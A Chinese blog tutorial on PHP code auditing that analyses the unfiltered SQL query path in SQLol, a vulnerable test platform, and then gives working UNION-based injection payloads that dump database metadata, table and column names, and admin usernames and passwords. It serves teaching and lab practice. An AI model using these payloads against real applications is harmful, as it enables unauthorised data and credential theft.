【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况
0x01 背景
首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~
0x02 环境搭建
PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。
这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。
PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。
①源码我打包了一份:http://pan.baidu.com/s/1nu2vaOT
②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:
0x03 漏洞分析
首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:
这里进行简单的源码分析,看不懂就略过以后再看~
1.看select.php文件,开始引入了/include/nav.inc.php
<?php |
2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:
表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下
<?php |
3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:
<?php |
4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^
$db_conn = NewADOConnection($dsn);
print("\n<br>\n<br>");
|
0x04 漏洞证明
1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:
2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:
- union select #
找到输出点“222333”的位置如下图:
3.构造获取数据库相关信息的POC:
- union select concat(database(),x5c,user(),x5c,version())#
成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:
4.构造获取数据库sqlol中所有表信息的POC:
- union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
成功获取数据库sqlol所有表信息如下:
5.构造获取admin表所有字段信息的POC:
- union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
成功获取表admin所有字段信息如下:
6.构造获取admin表账户密码的POC:
-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
成功获取管理员的账户密码信息如下:
本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2015/12/17/sql0/,如需转载请联系作者。
【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况的更多相关文章
- PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况
0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇
0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,接上篇http://www ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇
0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用
0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入
0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...
- ASP代码审计学习笔记-1.SQL注入
ASP注入漏洞 一.SQL注入的原因 按照参数形式:数字型/字符型/搜索型 1.数字型sql查询 sql注入原因: ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: id=request. ...
随机推荐
- 树莓派3 U盘启动 配置 & 即 MSD启动 总结
树莓派3添加了一个新特性:允许USB启动.现在我们既可以从SD卡启动,也可以从USB启动.USB设备可以是U盘,带USB适配器的SSD硬盘,甚至是移动硬盘. 本文介绍怎么从U盘启动树莓派3. 1. ...
- 解决Ajax跨域问题:Origin http://127.0.0.1:8080 is not allowed by Access-Control-Allow-Origin.
在服务端上设置一下header,如response.header("Access-Control-Allow-Origin","*");
- RAP接口管理系统import进eclipse进行二次开发
接口管理工具用了RAP,又是巴巴队伍的东西,开源的,需要进行二次开发方可被使用. 前几个月的时候鼓捣了一阵子,下来一片红,然后就没管它了.最近又捡起.直接git导入项目即可. 安装git插件,网上很多 ...
- svn -- svn数据仓库
在svn中我们的项目,不能称之为项目或文件夹,而是称之为“仓库” 仓库的建立步骤: 1.创建代码仓库 l 在任意盘符下建立文件夹(D:\svn\myApp\)做为我们的版本库根目录,如我们需要建立一个 ...
- 备份集中的数据库备份与现有的xx数据库不同”解决方法
搞定
- 第11章:sed进阶操作
第11章:sed进阶操作 sed是一个很好的文件处理工具,本身是一个管道命令,主要是以行为单位进行处理,可以将数据行进行替换.删除.新增.选取等特定工作,下面先了解一下sed的用法 sed命令行格式为 ...
- Android从文件读取图像显示的效率问题
因为从文件读取图像到Bitmap是一件比较费时的事情,所以研究了一下几种可行的办法,并做了对比. 首先解释一下为什么耗时,这是因为,在从jpg或者png文件中读取Bitmap时,一来需要对外存进行操作 ...
- PHP上传原理及操作实现
关于PHP上传文件的函数类库,网上有许多封装很完善,大家直接拿来用就可以. 本文章只是说下关于上传原理和简单的上传操作,老鸟就无视了哈^_^~ 还有一些安全性判断比如:服务端限制能接收图片类型的文件, ...
- 《HTTP权威指南》学习笔记——URL和资源
URL与资源 URL是互联网资源的标准化名称 1.浏览互联网资源 URL是浏览器寻找信息时所需的资源位置 URI是一类更通用的资源标识符,URL是它的子集. URI的两个子集:URL和URN URL提 ...
- Django系列之form渲染表单后css样式丢失
最通用的form写法 我们经常看各大网站上写这样的form写法 class SYSAdminPhysicalForm(forms.ModelForm): ''' this form for idc's ...